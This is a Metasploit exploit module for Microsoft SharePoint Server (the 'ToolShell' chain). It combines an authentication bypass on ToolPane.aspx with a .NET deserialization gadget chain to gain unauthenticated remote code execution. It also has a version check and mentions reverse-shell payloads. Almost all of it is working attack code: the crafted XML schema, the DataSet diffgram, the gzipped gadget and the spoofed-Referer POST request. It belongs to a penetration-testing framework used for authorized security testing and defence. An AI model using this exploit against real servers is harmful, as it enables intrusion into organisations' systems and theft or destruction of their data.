##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
        'Description' => %q{
          This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe
          deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft
          SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,
          and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.
          As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),
          we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          # Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
          # Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771.
          'Viettel Cyber Security',
          # Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704.
          'sfewer-r7'
        ],
        'References' => [
          # Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
          ['CVE', '2025-49704'],
          # Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
          ['CVE', '2025-49706'],
          # Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path.
          ['CVE', '2025-53770'],
          # Patch bypass for CVE-2025-49706.
          ['CVE', '2025-53771'],
          # Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
          ['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
          # LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704.
          ['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'],
          # Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky.
          ['URL', 'https://securelist.com/toolshell-explained/'],
          # ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
          # Microsoft advisories for CVE-2025-49704 and CVE-2025-49706.
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'],
          # Microsoft advisories for CVE-2025-53770 and CVE-2025-53771.
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
          ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
          # Microsoft Guidance.
          ['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'],
          ['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
          # The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025.
          ['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
          # Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
          ['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
          # Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
          ['URL', 'https://x.com/thezdi/status/1923317597673533552'],
          # Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
          ['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
        ],
        'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706.
        'Platform' => ['win'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false, # Executes as the SharePoint site user.
        'Targets' => [
          [
            'Default', {}
          ]
        ],
        # NOTE: Tested with the following payloads:
        #   cmd/windows/http/x64/meterpreter/reverse_tcp
        #   cmd/windows/generic
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false,
          # Delete the fetch binary after execution.
          'FETCH_DELETE' => true,
          # The root path of the SharePoint site
          'URIPATH' => '/'
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200

    # The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
    # called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
    # header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
    site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)

    return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag

    version = Rex::Version.new(site_client_tag[1])

    # We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
    # compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
    # the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
    # from July 2025).
    # Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint
    # configuration update has not also manually occurred.
    # https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
    # https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates

    ranges = [
      [
        'Microsoft SharePoint Server Subscription Edition',
        '16.0.14326.20450', # The RTM version (circa 2021)
        '16.0.18526.20424' # July 2025
      ],
      [
        'Microsoft SharePoint Server 2019',
        '16.0.10337.12109', # The RTM version (circa 2019)
        '16.0.10417.20027' # July 2025
      ],
      [
        'Microsoft SharePoint Enterprise Server 2016',
        '16.0.4351.1000', # The RTM version (circa 2017)
        '16.0.5508.1000' # July 2025
      ],
      # NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
      [
        'SharePoint Server 2013',
        '15.0.4481.1005',
        '15.0.5545.1000' # Last version before end of support.
      ],
      [
        'SharePoint Server 2010',
        '14.0.7015.1000',
        '14.0.7268.5000' # Last version before end of support.
      ]
    ]

    ranges.each do |product, rtm_version, patch_version|
      if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
        return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
      end
    end

    # If we get here, it's a patched version.
    Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
  end

  def exploit
    gadget_raw = create_gadget_chain
    send_exploit(gadget_raw)
  end

  # This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
  # and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
  # been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
  # TypeConfuseDelegate gadget chain).
  class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream

    def self.generate(nested_gadget_b64)
      name_a = Rex::Text.rand_text_alpha_lower(8..16)
      name_b = Rex::Text.rand_text_alpha_lower(8..16)
      name_c = Rex::Text.rand_text_alpha_lower(8..16)

      # The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
      # LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second
      # stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
      schema = <<~EOF
        <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="#{name_a}">
          <xs:element name="#{name_a}" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
              <xs:complexType>
                  <xs:choice minOccurs="0" maxOccurs="unbounded">
                      <xs:element name="#{name_b}">
                          <xs:complexType>
                              <xs:sequence>
                                  <xs:element name="#{name_c}" msdata:DataType="System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" type="xs:anyType" minOccurs="0"/>
                              </xs:sequence>
                          </xs:complexType>
                      </xs:element>
                  </xs:choice>
              </xs:complexType>
          </xs:element>
        </xs:schema>
      EOF

      diffgram = <<~EOF
        <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
            <#{name_a}>
                <#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
                    <#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
                        <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
                            <ExpandedElement/>
                            <ProjectedProperty0>
                                <MethodName>Deserialize</MethodName>
                                <MethodParameters>
                                    <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">#{nested_gadget_b64}</anyType>
                                </MethodParameters>
                                <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>
                            </ProjectedProperty0>
                        </ExpandedWrapperOfLosFormatterObjectDataProvider>
                    </#{name_c}>
                </#{name_b}>
            </#{name_a}>
        </diffgr:diffgram>
      EOF

      system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')

      library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
        library_id: 2,
        library_name: system.to_s
      )

      from_values([
        Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
        library,
        Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
          class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
            obj_id: 1,
            name: 'System.Data.DataSet',
            member_names: %w[XmlSchema XmlDiffGram]
          ),
          member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
            binary_type_enums: %i[String String]
          ),
          library_id: library.library_id,
          member_values: [
            Msf::Util::DotNetDeserialization::Types::Record.from_value(
              Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
                obj_id: 3,
                string: schema
              )
            ),
            Msf::Util::DotNetDeserialization::Types::Record.from_value(
              Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
                obj_id: 2,
                string: diffgram
              )
            ),
          ]
        ),
        Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
      ])
    end
  end

  def create_gadget_chain
    # NOTE: Depending on the version of SharePoint, different gadgets can be used.
    #
    # * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
    # 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
    #
    # * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
    # work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
    # (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.

    typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
      payload.encoded,
      gadget_chain: :TypeConfuseDelegate,
      formatter: :LosFormatter
    )

    vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
    vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))

    typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)

    dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s

    vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
    vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))

    dataset_gadget_raw
  end

  def send_exploit(gadget_raw)
    gadget_gzip = StringIO.new

    gzip = Zlib::GzipWriter.new(gadget_gzip)
    gzip.write(gadget_raw)
    gzip.close

    namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
    namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)

    xml = <<~EOF
      <%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
      <%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
        <#{namespace_ui}:UpdateProgress>
          <ProgressTemplate>
            <#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
          </ProgressTemplate>
        </#{namespace_ui}:UpdateProgress>
    EOF

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(
        target_uri.path,
        '_layouts',
        '15',
        'ToolPane.aspx',
        Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
      ),
      'ctype' => 'application/x-www-form-urlencoded',
      'headers' => {
        'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
      },
      'vars_get' => {
        'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
        Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
      },
      'vars_post' => {
        'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
        'MSOTlPn_DWP' => xml
      }
    )
  end
end